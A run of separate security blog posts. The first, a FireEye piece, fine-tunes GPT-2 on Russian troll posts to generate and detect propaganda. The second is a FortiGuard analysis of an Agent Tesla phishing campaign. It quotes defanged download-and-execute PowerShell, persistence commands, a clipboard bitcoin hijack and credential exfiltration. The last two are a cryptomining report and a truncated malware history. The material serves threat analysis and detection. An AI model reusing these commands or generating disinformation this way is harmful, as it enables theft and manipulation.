#Nukraine<|endoftext|>” Figure 2 depicts a few example generations made after fine-tuning GPT-2 on the IRA datasets.
Observe how these text generations are formatted like something we might expect to encounter scrolling through social media – they are short yet biting, express certainty and outrage regarding political issues, and contain emphases like an exclamation point.
They also contain idiosyncrasies like hashtags and emojis that positionally manifest at the end of the generated text, depicting a semantic style regularly exhibited by actual users.
Figure 2: Fine-tuning GPT-2 using the IRA datasets for the language modeling task.
Example generations are primed with the same phrase from Figure 1, “It’s disgraceful that.”
Hyphens are added for readability and not produced by the model.
How does the model produce such credible generations?
Besides the weights that were adjusted during LM fine-tuning, some of the heavy lifting is also done by the underlying attention scores that were learned by GPT-2’s Transformer.
Attention scores are computed between all words in a text sequence, and represent how important one word is when determining how important its nearby words will be in the next learning iteration.
To compute attention scores, the Transformer performs a dot product between a Query vector q and a Key vector k : q encodes the current hidden state, representing the word that searches for other words in the sequence to pay attention to that may help supply context for it.
k encodes the previous hidden states, representing the other words that receive attention from the query word and might contribute a better representation for it in its current context.
Figure 3 displays how this dot product is computed based on single neuron activations in q and k using an attention visualization tool called bertviz .
Columns in Figure 3 trace the computation of attention scores from the highlighted word on the left, “America,” to the complete sequence of words on the right.
For example, to decide to predict “#” following the word “America,” this part of the model focuses its attention on preceding words like “ban,” “Immigrants,” and “disgrace,” (note that the model has broken “Immigrants” into “Imm” and “igrants” because “Immigrants” is an uncommon word relative to its component word pieces within pre-trained GPT-2's original training dataset).
The element-wise product shows how individual elements in q and k contribute to the dot product, which encodes the relationship between each word and every other context-providing word as the network learns from new text sequences.
The dot product is finally normalized by a softmax function that outputs attention scores to be fed into the next layer of the neural network.
Figure 3:
The attention patterns for the query word highlighted in grey from one of the fine-tuned GPT-2 generations in Figure 2.
Individual vertical bars represent neuron activations, horizontal bars represent vectors, and lines represent the strength of attention between words.
Blue indicates positive values, red indicates negative values, and color intensity represents the magnitude of these values.
Syntactic relationships between words like “America,” “ban,” and “Immigrants“ are valuable from an analysis point of view because they can help identify an information operation’s interrelated keywords and phrases.
These indicators can be used to pivot between suspect social media accounts based on shared lexical patterns, help identify common narratives, and even to perform more proactive threat hunting.
While the above example only scratches the surface of this complex, 355 million parameter model, qualitatively visualizing attention to understand the information learned by Transformers can help provide analysts insights into linguistic patterns being deployed as part of broader information operations activity.
Detecting Information Operations Activity by Fine-Tuning GPT-2 for Classification In order to further support FireEye Threat Analysts’ work in discovering and triaging information operations activity on social media, we next fine-tuned a detection model to perform classification.
Just like when we adapted GPT-2 for a new language modeling task in the previous section, we did not need to make any drastic architectural changes or parameter updates to fine-tune the model for the classification task.
However, we did need to provide the model with a labeled dataset, so we grouped together social media posts based on whether they were leveraged in information operations (class label CLS = 1 ) or were benign ( CLS = 0 ).
Benign, English-language posts were gathered from verified social media accounts, which generally corresponded to public figures and other prominent individuals or organizations whose posts contained diverse, innocuous content.
For the purposes of this blog post, information operations-related posts were obtained from the previously mentioned open source IRA datasets.
For the classification task, we separated the IRA datasets that were previously combined for LM fine-tuning, and selected posts from only one of them for the group associated with CLS = 1 .
To perform dataset selection quantitatively, we fine-tuned LMs on each IRA dataset to produce three different LMs while keeping 33% of the posts from each dataset held out as test data.
Doing so allowed us to quantify the overlap between the individual IRA datasets based on how well one dataset’s LM was able to predict post content originating from the other datasets.
Figure 4:
Confusion matrix representing perplexities of the LMs on their test datasets.
The LM corresponding to the GPT-2 row was not fine-tuned; it corresponds to the pretrained GPT-2 model with reported perplexity of 18.3 on its own test set, which was unavailable for evaluation using the LMs.
The Reddit dataset was excluded due to the low volume of samples.
In Figure 4, we show the result of computing perplexity scores for each of the three LMs and the original pre-trained GPT-2 model on held out test data from each dataset.
Lower scores indicate better perplexity, which captures the probability of the model choosing the correct next word.
The lowest scores fell along the main diagonal of the perplexity confusion matrix, meaning that the fine-tuned LMs were best at predicting the next word on test data originating from within their own datasets.
The LM fine-tuned on Twitter’s Elections Integrity dataset displayed the lowest perplexity scores when averaged across all held out test datasets, so we selected posts sampled from this dataset to demonstrate classification fine-tuning.
Figure 5: (A) Training loss histories during GPT-2 fine-tuning for the classification (red) and LM (grey, inset) tasks.
(B) ROC curve (red) evaluated on the held out fine-tuning test set, contrasted with random guess (grey dotted).
To fine-tune for the classification task, we once again processed the selected dataset’s posts through the pre-trained GPT-2 model.
This time, activations were fed through adjustable weights into two linear output layers instead of just the single one used for the language modeling task in the previous section.
Here, fine-tuning was formulated as a multi-task objective with classification loss together with an auxiliary LM loss, which helped accelerate convergence during training and improved the generalization of the model.
We also prepended posts with a new [BOS] (i.e.
Beginning Of Sentence) string and suffixed posts with the previously mentioned [CLS] class label string, so that each post was fed into the model according to: “[BOS]Kevin Mandia was on @CNBC’s @MadMoneyOnCNBC with @jimcramer discussing targeted disinformation heading into the… https://t.co/l2xKQJsuwk[CLS]” The [BOS] string played a similar delimiting role to the <|endoftext|> string used previously in LM fine-tuning, and the [CLS] string encoded the hidden state ∈ {0, 1} that was the label fed to the model’s classification layer.
The example social media post above came from the benign dataset, so this sample’s label was set to CLS = 0
during fine-tuning.
Figure 5A shows the evolution of classification and auxiliary LM losses during fine-tuning, and Figure 5B displays the ROC curve for the fine-tuned classifier on its test set consisting of around 66,000 social media posts.
The convergence of the losses to low values, together with a high Area Under the ROC Curve (i.e.
AUC), illustrates that transfer learning allowed this model to accurately detect social media posts associated with IRA information operations activity versus benign ones.
Taken together, these metrics indicate that the fine-tuned classifier should generalize well to newly ingested social media posts, providing analysts a capability they can use to separate signal from noise.
Conclusion In this blog post, we demonstrated how to fine-tune a neural LM on open source datasets containing social media posts previously leveraged in information operations.
Transfer learning allowed us to classify these posts with a high AUC score, and FireEye’s Threat Analysts can utilize this detection capability in order to discover and triage similar emergent operations.
Additionally, we showed how Transformer models assign scores to different pieces of text via an attention mechanism.
This visualization can be used by analysts to tease apart adversary tradecraft based on posts’ linguistic fingerprints and semantic stylings.
Transfer learning also allowed us to generate credible synthetic text with low perplexity scores.
One of the barriers actors face when devising effective information operations is adequately capturing the nuances and context of the cultural climate in which their targets are situated.
Our exercise here suggests this costly step could be bypassed using pre-trained LMs, whose generations can be fine-tuned to embody the zeitgeist of social media.
GPT-2’s authors and subsequent researchers have warned about potential malicious use cases enabled by this powerful natural language generation technology, and while it was conducted here for a defensive application in a controlled offline setting using readily available open source data, our research reinforces this concern.
As trends towards more powerful and readily available language generation models continue , it is important to redouble efforts towards detection as demonstrated by Figure 5 and other promising approaches such as Grover .
This research was conducted during a three-month FireEye IGNITE University Program summer internship, and represents a collaboration between the FDS and FireEye Threat Intelligence’s Information Operations Analysis teams.
If you are interested in working on multidisciplinary projects at the intersection of cyber security and machine learning, please consider applying to one of our 2020 summer internships .
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FortiGuard Labs Threat Research Report Affected platforms :      Microsoft Windows Impacted parties :         Windows Users Impact :                          Sensitive Information Collection from Victim’s Device Severity level :               Critical FortiGuard Labs recently captured a fresh phishing campaign in which a Microsoft Excel document attached to a spam email downloaded and executed several pieces of VBscript code.
This malware is used to hijack bitcoin address information and deliver a new variant of Agent Tesla onto the victim’s device.
Agent Tesla, first discovered in late 2014, is a known spyware focused on stealing sensitive information from a victim’s device, such as saved application credentials, keyboard inputs (keylogger), etc.
We have posted a number of detailed analysis blogs for Agent Tesla campaign captured by FortiGuard Labs over the past several year.
Interestingly, Agent Tesla is a commercial software that is sold online, as shown in Figure 1.1, below.
On the website shown above, attackers can purchase it anonymously using the payment methods of \"Perfect Money\" or \"Bitcoin Payment\".
I conducted research on this latest phishing campaign, and in this post I will share my findings on how the campaign is started, what the Macro within the attached Microsoft Excel does and how it is executed, as well as how it performs bitcoin address hijack and delivers a new variant of Agent Tesla onto the victim’s device.
Analysis of the Excel File from the Phishing Email As you may have noticed in Figure 2.1, the subject has been marked with “SPAM detected by FortiMail” to notify the customer that the email is a spam.
The email asks the recipient to open the attached Microsoft Excel file to view the details of a document entitled “Order Requirements and Specs.”
Once the victim opens the file in Microsoft Excel program, however, a security notice warning pops up, as shown in Figure 2.2, because the Excel document contains a Macro.
This is an empty Excel document, whose sheets are hidden.
It also contains a password protected VBA project (Macro).
I figured this out by modifying its binary data.
The VBA project has a predefined method, Workbook_BeforeClose(), that is automatically called when the victim closes the document.
When called, it displays two UserForms with the string “ERROR!”
one by one.
When the second form is closed, it executes a piece of code loaded from an OptionButton’s tag property.
As you can see in Figure 2.3, it is about to execute “Shell# UserForm2.OptionButton1.Tag” (where the last \"_\" in Figure 2.3 is a kind of line-continuation character) to run the command-line command \"mshta hxxp://www[.]j[.
]mp/ais1kdoaksodjasod14\", which was loaded from the property “UserForm2.OptionButton1.Tag”.
“mshta.exe” file is a software component of the Microsoft HTML Application Host, a utility responsible for executing HTA (HTML Application) files in Windows OS.
An HTA file is a Microsoft Windows program whose source code consists of HTML, Dynamic HTML, and scripting, such as VBScript or JScript.
The URL “hxxp://www[.]j[.
]mp/ais1kdoaksodjasod14” is redirected to “hxxp://bit[.
]ly/ais1kdoaksodjasod14” and finally, is redirected to “hxxps://p8hj[.]blogspot[.
]com/p/27.html” (“27.html”).
As you may have guessed, the response from “27.html” contains malicious code, VBScript code for this case, which is encoded by the escape() function.
There are three segments of VBScript code in the response from “27.html”.
Figure 2.4 highlights the three segments of VBScript code that will be decoded and executed within the process “mshta.exe”.
In the next section, I will demonstrate what the three segments of VBScript code do.
Three Segments of VBScript Code 1.
Overview of the new Agent Tesla variant, the Auto-Run Group, and Task Scheduler After calling unescape() twice to the first segment of VBScript code, we finally obtain HTML content, as shown in figure 3.1.
This content contains a piece of VBScript code that performs the three tasks shown below: Downloads PowerShell files to deliver the new Agent Tesla variant It calls the VBScript method MicrosoftWINdows.
Run() with the following parameter.
\"cmd /c start /min
PowerShell -ex Bypass -nOp -w 1 ;i'E'x(iwr('hxxps://ia601500[.]us[.]archive[.
]org/9/items/FTp-120-May12/27-1.txt') -useB);i'E'x(iwr
(' hxxps://ia601500[.]us[.]archive[.
]org/9/items/FTp-120-May12/27-2.txt') -useB);i'E'x(iwr(' hxxps://ia801500[.]us[.]archive[.
]org/9/items/FTp-120-May12/27-3.txt') -useB)\
" It then runs PowerShell to execute three PowerShell files downloaded from three URLs.
There are two EXE files stored in two huge arrays inside each downloaded PowerShell file.
The two EXE files are a loader of Agent Tesla and a new variant of Agent Tesla.
Below is a segment of code extracted from “27-1.txt” as an example to explain how it loads Agent Tesla.
[Reflection.
Assembly]::Load($Cli555).GetType('WpfControlLibrary1.LOGO').GetMethod('Run').Invoke($null,[object[]] ('C:\\Windows\\Microsoft.
NET\\Framework\\v4.0.30319\\MSBuild.exe',$Cli444)); As you can see, it loads the loader from the array $Cli555, which has a function called “WpfControlLibrary1.LOGO.Run()” requiring two parameters.
It runs a normal EXE file (“MSBuild.exe”), then deploys the new Agent Tesla variant stored in the huge array $Cli444 into it and executes.
This means Agent Tesla will run within “MSBuild.exe”—which is also a way to protect Agent Tesla from being detected by the victim.
I’ll explain the details of “WpfControlLibrary1.LOGO.Run()” later.
The VBScript code adds numerous items into the Auto-Run group in the system registry Figure 3.2 shows a screenshot of the Auto-Run group in the system registry of an infected system.
It creates a WMI (Windows Management Instrumentation) Object to add into the Auto-Run group by calling its function “SetStringValue()”.
Creates a scheduled task Besides adding items into the Auto-Run group, it adds a scheduled task in “Task Scheduler” to make the entire campaign work effectively.
Below is the code used to run “schtasks” to create a new scheduled task.
The new task name is “WIND0WSUPLATE”.
Its action is to execute command “mshta hxxp://1230948%1230948@getyournewblog[.]blogspot[.
]com/p/27.html” and it’s called every 80 minutes.
MicrosoftWINdows.run \"schtasks /create /sc
MINUTE /mo 80 /tn \\\"WIND0WSUPLATE\\\" /F /tr
\\\"MsHtA\\\" \\\"hxxp://1230948%1230948@getyournewblog[.]blogspot[.
]com/p/ 27.html\\\"\" ,0 2.
Hijacking a Bitcoin address on the victim’s device After being decoded, we then obtained the second piece of VBScript code.
Executing it saves a batch of PowerShell code into the system registry under the subkey \"HKCU\\Software\\nasdnasndnad\".
It also adds an item to execute this PowerShell code into the Auto-Run group in the system registry, causing it to run at system startup (refer to the item “replcia” in Figure 3.2).
To do so, it executes the following code.
MicrosoftWINdows.
RegWrite \"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\replcia\", \"mshta vbscript:Execute(\"\"CreateObject(\"\"\"\"Wscript.
Shell\"\"\"\").Run \"\"\"\"powershell ((gp HKCU:\\Software).nasdnasndnad)|IEX\"\"\"\", 0 : window.close\"\")\", EXCELX Going through the PowerShell code we can see it performs a bitcoin address hijack.
It does this by continually detecting the data on the system clipboard.
If it’s a valid bitcoin address, it replaces the bitcoin address with attacker’s.
To do so it uses a “while” statement and a function to check if a string is a valid bitcoin address.
The while statement reads the system clipboard data from time to time by calling Get-Clipboard().
It then calls the function isBitcoinAddress() to determine if the data is a valid bitcoin address.
If so, it then calls Set-Clipboard() to modify the bitcoin address in the clipboard to the attacker’s, which in this case is “ 19VFGWgBkn6J3kMd8ApfCbtbNUmg8eBMvp ”.
Figure 3.3 shows the PowerShell code used to hijack a bitcoin address.
Usually, people use the system clipboard to copy or paste the payee’s bitcoin address to make a payment.
During this time, this bitcoin hijack will change the payee’s bitcoin address to attacker’s.
The victim remains unaware that he/she paid their bitcoins to the wrong payee.
3.
Killing All Microsoft Excel and Word Processes The decoded code for this segment is listed below.
It runs the “taskkill” command to terminate all running Microsoft Excel and Word programs.
This can force kill the Excel.exe progress executing above the mshta.exe command.
<script language=\"VBScript\"> CreateObject(\"WScript.
Shell\").Run \"taskkill /f /im Excel.exe\", 0 CreateObject(\"WScript.
Shell\").Run \"taskkill /f /im winword.exe\", 0 window.resizeTo 0, 0 self.close </script>
At this point we finished analyzing the first stage of this attack to explain what it is able to do with the three segments of VBScript.
Next, I will focus on the analysis of the loader and the new Agent Tesla variant that was started by the first segment of VBScript code.
Analysis of the Loader Progress of Agent Tesla As I mentioned earlier, “mshta.exe” runs three segments of VBScript code in 27.html.
The first one dynamically loads a .Net EXE (“the loader”) from an array ($Cli555) and calls its function WpfControlLibrary1.LOGO.Run() to deploy the real Agent Tesla from another array onto the MSBuild.exe process.
I manually extracted the loader to a local file and the Run() function is displayed in Figure 4.1 using dnSpy debugger.
The Run() function obtains the full path of a target process ('C:\\Windows\\Microsoft.
NET\\Framework\\v4.0.30319\\MSBuild.exe') and the binary data of the Agent Tesla variant from the second parameter.
It then calls another function, PEfX2B8Tl(), to deploy this Agent Tesla variant onto the target process.
As you can see in Figure 4.1, I have simplified the function for a clearer view.
It first calls the API function CreateProcess() with CreateFlag 0x4 (CREATE_SUSPENDED) to create a suspended MSBuild.exe process.
It then calls a bunch of familiar API functions, such as GetThreadContext(), ReadProcessMemory(), NtUnmapViewOfSection(), VirtualAllocEx(), WriteProcessMemory(), SetThreadContext(), and ResumeThread().
After that, Agent Tesla runs within the target process “MSBuild.exe”.
To show you the entire picture of the malicious process that started from the phishing campaign, I have attached a screenshot of the Process Tree below, which shows all relevant processes involved in the campaign as well as the relationship between these processes.
Agent Tesla Running Within MSBuild.exe Process to Steal Data I extracted this new Agent Tesla variant to a local file from the large array ($Cli444) for static analysis.
According to Figure 5.1, below, we can see that this new variant is fully obfuscated, meaning it is able to protect its code from being easily analyzed by security researchers.
The class names, function names, and variable names are meaningless, as shown in Figure 5.1 (such as “A”, “a”, “B”, “b”, “C”, “c” and so on.)
For instance, the entry point function of this variant is this— “A.b.
A()”.
When Agent Tesla starts in MSBuild.exe, it first checks to see if there is a duplicate Agent Tesla running.
If one is found, it is killed to keep only one instance running at the same time.
Once every time it runs, it steals the credentials of applications (like Web Browsers, FTP clients, IM, etc.)
saved on the infected device and sends the stolen data to the attacker.
According to my research, it steals sensitive information from 73 different applications, which can be categorized by their features, as below: Web Browsers: \"Chrome\", \"Firefox\", \"Edge\", \"Safari\", \"SRWare Iron\", \"CoolNovo\", \"QQ Browser\", \"UC Browser\", \"Elements Browser\", \"QIP Surf\", \"Epic Privacy\", \"Amigo\", \"Coccoc\", \"Coowon\", \"Torch Browser\", \"Orbitum\", \"Yandex Browser\", \"Sputnik\", \"Chedot\", \"Vivaldi\", \"Iridium Browser\", \"360
Browser\
", \"Chromium\", \"Opera Browser\", \"Sleipnir 6\", \"Liebao Browser\", \"CentBrowser\", \"Brave\", \"Cool Novo\", \"Citrio\", \"Uran\", \"7Star\", \"Kometa\", \"Comodo Dragon\",\"K-Meleon\", \"FALKON\", \"IceCat\", \"Flock\", \"WaterFox\", \"PaleMoon\", \"UCBrowser\", \"IceDragon\", \"QQBrowser\", \"SeaMonkey\", \"BlackHawk\", \"CyberFox\" Email Clients and Messenger Clients: \"Postbox\", \"Foxmail\", \"Eudora\", \"Mailbird\", \"Becky!\", \"Opera Mail\", \"Outlook\", \"Thunderbird\", \"eM Client\", \"IncrediMail\", \"Claws-mail\", \"The Bat!\", \"Pocomail\" \"Psi\", \"Trillian\" VPN, FTP Clients and Download Managers: \"DownloadManager\", \"jDownloader\", \"OpenVPN\", \"SmartFTP\", \"FTPGetter\", \"WS_FTP\", \"FileZilla\", \"CFTP\", \"FTP Navigator\", \"CoreFTP\", \"WinSCP\", \"FlashFXP\" Figure 5.2 shows the moment it has obtained sensitive data from Mozilla Firefox.
This data contains user credentials (UserName and Password), the application name “Firefox”, as well as the URLs where the credentials are saved.
The data will then be sent to the attacker with magic flag “PW_”.
I will elaborate on how the stolen data is sent to the attacker later.
It starts a thread function that is used to collect cookies files from some predefined web browsers.
These collected cookies files are then compressed into a ZIP archive and sent to the attacker with the magic flag “CO_”.
Figure 5.3 is an example of such a ZIP archive, containing the cookies files collected from Mozilla Firefox and Google Chrome on my test machine.
In addition to what I explained above, it also collects data from the system clipboard and the victim’s inputs (the keylogger).
It calls the API SetClipboardViewer() to register itself so it is able to receive notice once the clipboard data is changed.
It can then obtain and save clipboard data.
The attacker also enabled the keylogger feature in this variant.
It sets a hook on the Windows message WH_KEYBOARD_LL (13) by calling the API function SetWindowsHookEx(), so it can receive all keyboard messages when the victim types.
Both data collected from the clipboard and through victim’s inputs are saved in html format in a global variable.
Agent Tesla starts a Timer (being called every 20 minutes) to check if the global variable has data, and if so, it sends its data to the attacker with the magic flag “KL_”.
As shown in Figure 5.4 is an example of the data collected from victim’s inputs and the clipboard that were extracted by me when it was sent to the attacker.
As you can see, this data contains basic information, including current time, User Name, Computer Name, OS version, CPU type, and memory capacity.
The keylogger data contains application name (“Google Chrome”), application title (“New Tab – Google Chrome”), current time (05/21/2021 10:48:18), as well as victim’s inputs at the second line.
The clipboard data starts with a constant string “Copied Text:” and clipboard data at the second line.
Sending Stolen Data to the Attacker Agent Tesla supports several ways to send stolen data to its C2 server.
They are over SMTP to send data to the attacker’s email address, over FTP to send the data to the attacker’s FTP server, and over HTTP POST to send the data to attacker’s HTTP server.
The variant we captured uses FTP protocol’s STOR command (store) to submit the stolen sensitive data.
Agent Tesla has several magic flags to identify what kind of the data is being reported.
These are “PW_” for credentials, “CO_” for cookies files, “KL” for keylogger and clipboard, and “SC_” for screenshot (not enabled in this variant).
The data file name consists of a magic flag, User Name, Computer Name, and current time.
Figure 6.1 shows a screenshot of Wireshark displaying the data transportation process in an FTP-Data packet (with the magic flag “PW_”), where it contains stolen credentials saved in Firefox and FileZilla.
Conclusion Most attackers like to spread malware in phishing emails.
As a result, new phishing campaigns are detected every day by FortiGuard Labs.
People should be more careful when opening files attached to email.
The one I just analyzed not only used a VBScript to hijack the victim’s clipboard but also delivered a new variant of Agent Tesla.
In this post I walked through this campaign, beginning with how the malicious Macro inside an attached Microsoft Excel document is executed.
I then elaborated on how the three VBScript code segments found in the response from 27.html work to perform a bitcoin address hijack and to launch a new variant of Agent Tesla.
Next, I demonstrated what applications this variant could steal sensitive data from, and what kind of sensitive data Agent Tesla is interested in, including saved credentials, cookies files of some web browsers, keylogger data, and clipboard data.
And finally, I introduced how the stolen data is submitted to the attacker using an FTP-DATA packet.
Fortinet Protections Fortinet customers are already protected from this Agent Tesla variant with FortiGuard’s Web Filtering, Anti-Spamming, and AntiVirus services, as follow: The related URLs listed in IOCs have been rated as \" Malicious Websites \" by the FortiGuard Web Filtering service.
The phishing email has been marked as SPAM by FortiMail.
The attached Excel file is detected as “ VBA/Agent.
WCN!tr ” and blocked by the FortiGuard AntiVirus service.
The FortiGuard AntiVirus service is supported by FortiGate , FortiMail, FortiClient, and FortiEDR .
The Fortinet AntiVirus engine is a part of each of those solutions as well.
As a result, customers who have these products with up-to-date versions are protected.
We also suggest our readers go through the free NSE training — NSE 1 – Information Security Awareness , which has a module on Internet threats designed to help end users learn how to identify and protect themselves from phishing attacks.
IOCs: URLs hxxp://www[.]j[.
]mp/ais1kdoaksodjasod14 hxxp://bit[.
]ly/ais1kdoaksodjasod14 hxxps://p8hj[.]blogspot[.
]com/
p/27[.
]html hxxps://ia601500[.]us[.]archive[.
]org/9/items/FTp-120-May12/27-1.txt hxxps://ia601500[.]us[.]archive[.
]org/9/items/FTp-120-May12/27-2.txt hxxps://ia801500[.]us[.]archive[.
]org/9/items/FTp-120-May12/27-3.txt hxxp://1230948%1230948@getyournewblog[.]blogspot[.
]com/p/27.html hxxp://1230948%1230948@newblogset144[.]blogspot[.
]com/p/27.html hxxp://1230948%1230948@firstblognew123[.]blogspot[.
]com/p/27.html hxxp://1230948%1230948@papagunnakjdnmwdnwmndwm[.]blogspot[.
]com/p/27.html Sample SHA-256 [Order Requirements and Specs.xls] F10D005B7997686E87BAEE766E5B28BE3386FE3BA9A557BD2042DCBA5414B740 [Extracted new variant of Agent Tesla]
6FED3E1D302B9DF7893248367ED06F8A4F5BA2D3B7547E3F49D1D00A7718A8B4 Reference: New Agent Tesla Variant Spreading by Phishing Learn more about Fortinet’s FortiGuard Labs threat research and intelligence organization and the FortiGuard Security Subscriptions and Services portfolio .
Learn more about Fortinet’s free cybersecurity training , an initiative of Fortinet’s Training Advancement Agenda (TAA), or about the Fortinet Network Security Expert program , Security Academy program , and Veterans program .
By Charles McFarland on Sep 19, 2018
In response to the explosive increase in cryptomining campaigns in Q4 2017, the Cyber Threat Alliance has formed a cryptomining subcommittee to assess the threat.
This committee comprises expert researchers from major cybersecurity companies, including McAfee.
The committee has now released “The Illicit Cryptocurrency Mining Threat,” an in-depth report on the current state of unlawful cryptomining.
In the report we explain what led to the recent rise in cryptomining-based attacks, their impact, defense recommendations, and predictions for future evolution of the attack.
As members of the Cyber Threat Alliance and the cybersecurity community, we hope that individuals and enterprises can use our research to protect themselves from this threat and improve global security.
The Rise of Illicit Cryptocurrency Mining To understand the cryptomining threat we need to go back only to late 2017 and early 2018 to see the dramatic growth of cryptomining incidents.
Since 2017, the combined data of several CTA members shows a 459% increase in detections of mining malware.
(Figure numbers are out of sequence.
They are borrowed from the CTA report.)
The increase of mining malware positively correlates with the growth of the value of coins.
Specifically, in late 2017 we saw the value of Bitcoin soar to US$20,000 per coin.
Anything with a high value attracts cybercriminals, and cryptocurrencies experienced some of the most dramatic volatility ever of any currency.
Cybercriminals were early adopters of cryptocurrencies and use them to fuel underground economies.
They have increasingly turned to mining to increase their funds by stealing the computer power of their victims.
This theft is also referred to as cryptojacking.
Cryptocurrency and Mining Cryptocurrencies have become an increasingly popular alternative to traditional electronic money (e-money).
E-money is based on a fiat currency such as the U.S. dollar.
One of the most common examples is prepaid credit cards, which stand for the backing currency without the need for physical cash.
Cryptocurrencies are generally not backed by a fiat currency.
In fact, they are considered decentralized—meaning there is no central authority.
Monero has several advantages over Bitcoin in terms of privacy and anonymity; this makes it a favorite among bad actors.
Beyond anonymity concerns, resources required to mine Monero are significantly lower, enabling more users to participate and increasing the profitability of botnets.
The act of generating the coin is called mining, which is using system resources to solve a complex mathematical problem.
Most major coins employ a “proof of work” that uses CPU resources to solve.
Large groups of miners, including botnets, can amass their resources, called pool mining, on a single problem.
The mining operations result in a solved mathematical equation that returns newly minted coins to the system and validates new transactions.
The State of Illicit Cryptocurrency Mining Current incidents of illicit cryptomining occur through compiled executables.
This practice is called binary-based mining.
In the context of the browser, the practice is called browser-based mining.
Binary-based cryptomining malware is delivered as a payload, often using spam or exploit kits.
Open-source tools often facilitate mining.
XMRig is a legitimate tool for mining Monero, yet is also frequently used by malicious actors for illicit cryptomining.
The most common browser-based miner is Coinhive.
Used legitimately, it offers an alternative to ad revenue by monetizing system resources.
However, it has been widely used without informing users.
On occasion the owner of the service is unaware of the mining code; this was the case with a recent attack against both Facebook Messenger and Starbucks Wi-Fi.
As of July 2, PublicWWW yielded at least 23,000 websites hosting Coinhive code.
An example of Coinhive script embedded within a website.
Beyond using browsers to gather system resources, malware authors have become increasingly sophisticated in other ways.
They have taken advantage of widespread vulnerabilities such as EternalBlue to propagate, or have implemented other techniques for evasion.
The Smominru attack was a very profitable campaign leveraging this approach.
It used “living off the land” techniques to evade detection and increase its ability to mine Monero.
Impacts of Illicit Cryptocurrency Mining Cryptomining may have an impact on both the short- and long-term security of an organization or user.
Three primary impact areas include: Potential security flaws that can lead to additional attacks Physical damage Impacts to business operations and productivity If a device is used in an unauthorized way, there is evidence of a potential security flaw that needs to be addressed.
In late 2017, misconfigured devices using FTP led to hundreds of thousands of Monero miners on consumer-grade devices.
Bad actors can and have used these same flaws for additional attacks against the systems.
Physical damage is also a concern.
The CPU-intensive operation of mining will produce excess heat and power consumption.
For small devices the immediate concern is battery life.
However, for large systems, especially data centers, the activity can increase the failure rate of components; this can have a major effect on the system.
Ultimately this may lead to costly repairs or increased hardware requirements to support the expanded load.
Organizations may also see a hit to business operations.
Mass-computing projects present a similar concern, albeit for more altruistic purposes.
Folding@Home , a medical research project aimed at understanding proteins, can be installed to use computer resources to help the research.
However, business operations may be impacted by a loss of productivity or additional costs.
Many businesses prohibit installing these types of computing projects to protect against unexpected costs and disruptions.
Recommended Best Practices Fortunately, the defense against cryptomining is very similar to that against other threats.
Cryptomining malware uses the same tools and methods; thus maintaining good security practices goes a long way.
These include analysis of non-typical network traffic, and properly configuring and patching systems.
A few additional steps specific to cryptomining: Monitor abnormal power consumption and CPU activity Search logs for related mining strings such as Crypto, Coinhive, XMR, Monero, and cpuminer Block mining pool communications Use browser extensions to protect against browser-based cryptocurrency mining For a more comprehensive list, including recommended Snort rules, see the Recommended Best Practices section of the report.
The Evolution of Illicit Mining Illicit cryptocurrency mining appears to have a positive correlation with Bitcoin value.
As long as cryptocurrencies such as Bitcoin have value, we expect bad actors will continue to mine for profits.
Although public cryptocurrencies like Bitcoin may be closely tied to monetary value, private or custom blockchains are also at risk and also need to prepare against future attacks.
Private blockchains, including non-currency-related ones, may carry unique risks.
Large blockchains such as Bitcoin are considered immutable due to the difficulty of changing historical ledger data.
Private blockchains inherently lack the same scale of adoption and thus may be more susceptible to attacks.
The 51% attack is a well-known threat that can take advantage of a smaller network and have a severe impact on the blockchain’s integrity.
With some nation-states already turning to cryptocurrencies to solve economic issues, it is likely that some nation-states will use illicit mining to gain revenue.
State-sponsored actors have already been implicated in the theft of cryptocurrencies, as McAfee has reported .
Legitimately mined cryptocurrency has been implicated in obfuscating state-sponsored cyber operations, hiding purchases of VPN accounts, servers, and domain registrations.
Conclusion “The Illicit Cryptocurrency Mining Threat” represents the first joint industry initiative to educate enterprises and consumers about the growing threat of cryptocurrency mining.
By improving security postures and adhering to proper security practices, we can increase the difficulty of these attacks succeeding, thus disrupting malicious behavior.
Illicit cryptocurrency mining is not a fad.
This problem will likely grow in relation to the value of cryptocurrencies.
Current infection methods will give way to new techniques and exploits.
The attraction of stealing cryptocurrencies may lead actors to develop targeted attacks against private implementations of blockchain as they become more prevalent.
For more on illicit cryptomining threats, read the introductory blog, key findings summary, and the full report to learn about this important research.
A “computer virus” is one of the few transcendent technical terms everyone understands, including children.
Regardless of socioeconomic background or age, everyone has an immediate negative connotation to that term.
It is usually associated with something destructive to the technology we all rely on, whether it’s a laptop, smartphone, application, or gaming system, demonstrating how ubiquitous computers and technology have become in our daily lives.
Part of the reason is that we have all been exposed to the impact of viruses, such as the flu or the common cold.
And like its biological counterparts, a computer virus also replicates and can be transmitted from one host to another, creating problems ranging from annoying to downright destructive.
So, in recognition of over 50 years since the first computer virus was discovered, we have decided to provide a brief historical insight into the history of computer malware from the pre-internet era to the current world of botnets, ransomware, viruses, worms, and more.
To start, here is some basic terminology: A virus cannot replicate without human interaction, whether clicking a link, opening an attachment, launching an application, or downloading a file.
A worm does not require human interaction and can replicate on its own, tunnel deep into systems, and move between devices.
Malware is a generic term that encapsulates all threats—viruses, worms, botnets, ransomware , etc.—anything malicious that is software-related.
It would be impossible to cover all malware and events over the past 50 years in such a short blog post.
Instead, we’ve highlighted many of the most notable examples and memorable events of the past 50 years.
The early years 1971:
The first Proof of Concept Before the internet existed, at least in the form we know today, there was the Advanced Research Projects Agency Network, or ARPANET, for short.
ARPANET began in 1967 to try and connect remote computers.
The first computers were connected in 1969, and one year later, the Network Control Program (NCP) was developed (the predecessor to the modern TCP/IP stack).
NCP was the first network transport layer to enable data to flow from computer to computer.
In 1971, the first microprocessor was developed, the Intel 4004.
It was the first commercially produced general-purpose CPU.
Its size (two inches rather than 12), price ($60), and performance (comparable to much larger and more expensive processors) ushered in a new era in computing Ironically, 1971 also saw the premier of the world’s first virus Proof of Concept, dubbed “The Creeper.”
Although credited and referenced by various entities as the world’s first computer virus, the Creeper actually exhibited the behavior of a worm.
Based on a concept first articulated by German mathematician John von Neumann in the 1940s, it was built at BBN (an American research and development company later acquired by Raytheon) by engineer Bob Thomas.
It spread through ARPANET computers and posted the following message: \"I'm the creeper, catch me if you can!\" Like its modern worm successors, it spread via a network protocol.
The intent was not for malicious or devious reasons, but to see if the “I’m the creeper, catch me if you can” message could propagate to other computers via ARPANET.
It did.
1982
:
The first Mac virus
